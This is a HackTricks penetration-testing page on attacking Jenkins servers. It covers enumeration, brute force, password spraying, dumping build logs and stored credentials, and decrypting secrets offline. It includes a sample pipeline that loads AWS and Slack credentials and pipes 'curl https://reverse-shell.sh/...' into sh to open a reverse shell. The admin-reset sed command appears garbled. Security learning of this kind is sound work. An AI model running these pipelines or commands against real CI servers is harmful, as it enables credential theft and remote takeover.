# Jenkins Security {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Basic Information Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually. {% content-ref url="basic-jenkins-information.md" %} [basic-jenkins-information.md](basic-jenkins-information.md) {% endcontent-ref %} ## Unauthenticated Enumeration In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` Check if you can execute commands without needing authentication: ``` msf> use auxiliary/scanner/http/jenkins_command ``` Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**. You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_ ![](<../../.gitbook/assets/image (146).png>) ### Known Vulnerabilities {% embed url="https://github.com/gquere/pwn_jenkins" %} ## Login In the basic information you can check **all the ways to login inside Jenkins**: {% content-ref url="basic-jenkins-information.md" %} [basic-jenkins-information.md](basic-jenkins-information.md) {% endcontent-ref %} ### Register You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.** ### **SSO Login** Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). ### Bruteforce **Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**. ``` msf> use auxiliary/scanner/http/jenkins_login ``` ### Password spraying Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). ### IP Whitelisting Bypass Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs. To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**. Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) ## Internal Jenkins Abuses In these scenarios we are going to suppose you have a valid account to access Jenkins. {% hint style="warning" %} Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.** {% endhint %} For more information check the basic information: {% content-ref url="basic-jenkins-information.md" %} [basic-jenkins-information.md](basic-jenkins-information.md) {% endcontent-ref %} ### Listing users If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) ### Dumping builds to find cleartext secrets Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps gitleaks detect --no-git -v ``` ### **Stealing SSH Credentials** If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key: ![](<../../.gitbook/assets/image (218).png>) You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets). ### **RCE in Jenkins** Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**. By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**. ### **RCE Creating/Modifying a project** Creating/Modifying a project is a way to obtain RCE over the Jenkins server: {% content-ref url="jenkins-rce-creating-modifying-project.md" %} [jenkins-rce-creating-modifying-project.md](jenkins-rce-creating-modifying-project.md) {% endcontent-ref %} ### **RCE Execute Groovy script** You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project: {% content-ref url="jenkins-rce-with-groovy-script.md" %} [jenkins-rce-with-groovy-script.md](jenkins-rce-with-groovy-script.md) {% endcontent-ref %} ### RCE Creating/Modifying Pipeline You can also get **RCE by creating/modifying a pipeline**: {% content-ref url="jenkins-rce-creating-modifying-pipeline.md" %} [jenkins-rce-creating-modifying-pipeline.md](jenkins-rce-creating-modifying-pipeline.md) {% endcontent-ref %} ## Pipeline Exploitation To exploit pipelines you still need to have access to Jenkins. ### Build Pipelines **Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used: ![](<../../.gitbook/assets/image (127).png>) It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access. If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\ It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not). The most common triggers to execute a custom pipeline are: * **Pull request** to the main branch (or potentially to other branches) * **Push to the main branch** (or potentially to other branches) * **Update the main branch** and wait until it's executed somehow {% hint style="info" %} If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**. {% endhint %} ### Pipeline RCE In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline). ### Checking Env variables It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles: ```bash pipeline { agent {label 'built-in'} environment { GENERIC_ENV_VAR = "Test pipeline ENV variables." } stages { stage("Build") { environment { STAGE_ENV_VAR = "Test stage ENV variables." } steps { ``` ### Dumping secrets For information about how are secrets usually treated by Jenkins check out the basic information: {% content-ref url="basic-jenkins-information.md" %} [basic-jenkins-information.md](basic-jenkins-information.md) {% endcontent-ref %} Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job//configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines. There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` Here you have the way to load some common secret types: ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { sh ''' env #Search for USERNAME and PASS ''' } withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) { sh ''' env #Search for SECRET ''' } withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) { sh ''' env # Search for USERPASS ''' } # You can also load multiple env variables at once withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { sh ''' env ''' } ``` At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) {% hint style="warning" %} The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\ More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation). {% endhint %} ### Triggers From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`. Cron example: ```bash triggers { cron('H */4 * * 1-5') } ``` Check **other examples in the docs**. ### Nodes & Agents A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines. For more information check the basic information: {% content-ref url="basic-jenkins-information.md" %} [basic-jenkins-information.md](basic-jenkins-information.md) {% endcontent-ref %} You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more: ![](<../../.gitbook/assets/image (249).png>) It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information. To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config: ```bash pipeline { agent {label 'built-in'} ``` ### Complete example Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell: ```bash pipeline { agent {label 'built-in'} triggers { cron('H */4 * * 1-5') } environment { GENERIC_ENV_VAR = "Test pipeline ENV variables." } stages { stage("Build") { environment { STAGE_ENV_VAR = "Test stage ENV variables." } steps { withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { sh ''' curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS ''' } } } post { always { cleanWs() } } } ``` ## Arbitrary File Read to RCE {% content-ref url="jenkins-arbitrary-file-read-to-rce-via-remember-me.md" %} [jenkins-arbitrary-file-read-to-rce-via-remember-me.md](jenkins-arbitrary-file-read-to-rce-via-remember-me.md) {% endcontent-ref %} ## RCE {% content-ref url="jenkins-rce-with-groovy-script.md" %} [jenkins-rce-with-groovy-script.md](jenkins-rce-with-groovy-script.md) {% endcontent-ref %} {% content-ref url="jenkins-rce-creating-modifying-project.md" %} [jenkins-rce-creating-modifying-project.md](jenkins-rce-creating-modifying-project.md) {% endcontent-ref %} {% content-ref url="jenkins-rce-creating-modifying-pipeline.md" %} [jenkins-rce-creating-modifying-pipeline.md](jenkins-rce-creating-modifying-pipeline.md) {% endcontent-ref %} ## Post Exploitation ### Metasploit ``` msf> post/multi/gather/jenkins_gather ``` ### Jenkins Secrets You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**. ![](<../../.gitbook/assets/image (180).png>) #### From Groovy {% content-ref url="jenkins-dumping-secrets-from-groovy.md" %} [jenkins-dumping-secrets-from-groovy.md](jenkins-dumping-secrets-from-groovy.md) {% endcontent-ref %} #### From disk These files are needed to **decrypt Jenkins secrets**: * secrets/master.key * secrets/hudson.util.Secret Such **secrets can usually be found in**: * credentials.xml * jobs/.../build.xml * jobs/.../config.xml Here's a regex to find them: ```bash # Find the secrets grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Print only the filenames where the secrets are located grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` #### Decrypt Jenkins secrets offline If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` #### Decrypt Jenkins secrets from Groovy ```bash println(hudson.util.Secret.decrypt("{...}")) ``` ### Create new admin user 1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\` 2. Search for the word `true`and change the word \*\*`true` \*\* to **`false`**. 1. `sed -i -e 's/truefalsetrue` and **restart the Jenkins again**. ## References * [https://github.com/gquere/pwn\_jenkins](https://github.com/gquere/pwn_jenkins) * [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/) * [https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password](https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password) * [https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html](https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html) * [https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072](https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072) * [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}